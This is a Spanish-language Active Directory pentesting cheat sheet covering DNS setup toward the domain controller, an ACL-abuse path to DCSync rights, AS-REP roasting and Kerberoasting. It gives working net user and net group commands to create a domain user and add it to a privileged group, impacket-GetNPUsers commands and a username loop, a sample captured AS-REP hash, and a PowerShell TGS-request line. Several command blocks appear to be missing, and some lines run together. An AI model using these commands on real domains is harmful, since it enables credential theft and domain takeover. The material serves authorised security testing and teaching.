Cuando se realiza una auditoría de Active Directory, uno de los primeros pasos que muchos olvidan es configurar correctamente el DNS. Si no apuntas tu máquina al Controlador de Dominio (DC) como servidor DNS, estarás limitando tus capacidades de enumeración, autenticación y explotación.
Cuando hay múltiples DCs, normalmente todos comparten la misma zona DNS y actúan como servidores DNS autoritativos del dominio, por lo que, se puede usar cualquier DC como servidor DNS.
Por ejemplo, si el DNS no está configurado correctamente, no podrás obtener tickets de servicio (TGS) ni realizar consultas a Kerberos.
Solución: Cambiar el DNS al del DC y asegurarse de que la máquina puede hacer nslookup al dominio.
Cambiar servidor DNS del sistema
Siendo, por ejemplo, 10.200.80.101 la IP del controlador del dominio (DC).
Para comprobar en ambos casos que está configurado correctamente, hacer nslookup del dominio, siendo por ejemplo xtormin.local:
nslookup dc.xtormin.local
Si se resuelve correctamente el dominio, se encuentra bien configurado.
Añadir registro DNS manualmente
Si no es posible cambiar la configuración DNS, se pueden añadir los registros a mano en el sistema. No obstante, solo se recomienda para casos puntuales, ya que no es viable realizarlo con una gran cantidad de hosts y además, puede dar lugar a fallos en la explotación de vulnerabilidades.
Este ataque permite pretender ser un controlador de dominio y solicitar datos de contraseña de cualquier usuario. Esto puede ser utilizado por un atacante para obtener el hash NTLM de cualquier cuenta, incluida la cuenta KRBTGT, que permite a los atacantes crear Golden Tickets.
Por ejemplo:
Si un usuario SVC-TEST es miembro de SERVICE ACCOUNTS, PRIVILAGED IT ACCOUNTS y ACCOUNTS OPERATORS.
Los miembros del grupo ACCOUNT OPERATORS tienen privilegios GenericAll sobre el grupo EXCHANGE WINDOWS PERMISSIONS. Esto significa que tenemos control total para manipular cualquier objeto de destino.
Los miembros del grupo EXCHANGE WINDOWS PERMISSIONS tienen permisos de escritura sobre DACL (Discretionary Access Control List) en el dominio XTORMINCORP.LOCAL. Esto significa que podemos otorgarnos el privilegio de DcSync.
Con este privilegio se podría llevar acabo un ataque de DCSync.
Teniendo en cuenta este ejemplo, se crea un usuario en el dominio y se le añade al grupo que cuenta con privilegios de escritura sobre DACL:
net user xtormin xtormin /add /domain
net group "Exchange Windows Permissions" xtormin /add /domain
net group "Exchange Windows Permissions"
AS-REP Roasting - Autenticación de kerberos no requerida
Este ataque explota cuentas que no requieren la preautenticación Kerberos. Si un usuario tiene esta opción deshabilitada, un atacante puede solicitar un ticket de autenticación (TGT) para ese usuario y recibir un mensaje cifrado con su contraseña, que puede ser crackeado offline.
impacket-GetNPUsers -no-pass -dc-ip <IP del DC> <dominio>/<usuario>
for user in $(cat creds/usernames.txt); do impacket-GetNPUsers -no-pass -dc-ip 192.168.1.10 xtormincorp/${user} | grep -v Impacket; done
[*] Getting TGT for svc-test
$krb5asrep$23$svc-test@xtormincorp:cbff56c80b6fcdc606dcc6d77227dc61$df6fa78117764a7a1427dbb0e65ae2da0eb0609d7ac234bd148e102810d2a6780f8f776dc9f2738e4b99c68874bad02e1dd4b453ac6b98e6efa8f3ab429d1f3dd2e257e3e1f989716fb91cfcea56895b827a8dd2515c417b8a60a905e58c0f6c9908772bb5dd9feb450a24b55a713fa60eba4b4ccf41f626771fd294b0c690e1b35b4f5b0b02278b687ad89bb91418ce8b3ddfbd004a924f302c6f241ab745fb5f3f429be8e455ab5cefc35967f62898dce3475e0cdb001138eda1e530e33a73b0a63e2839f70f01b202318f467f426ea87e0425cf7ac475ce17a73b885c8f94
Se crea un fichero "svc-test.hc18200" con el contenido del ticket:
Se solicita un TGS (Ticket Granting Service) para las cuentas de servicio que tienen SPNs asociados y se crackean los tickets para obtener la contraseña. El éxito del ataque dependerá de la complejidad de la contraseña del servicio.
Add-Type -AssemblyName System.IdentityModelNew -ObjectSystem.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "Clase de servicio\Nombre de host:Puerto"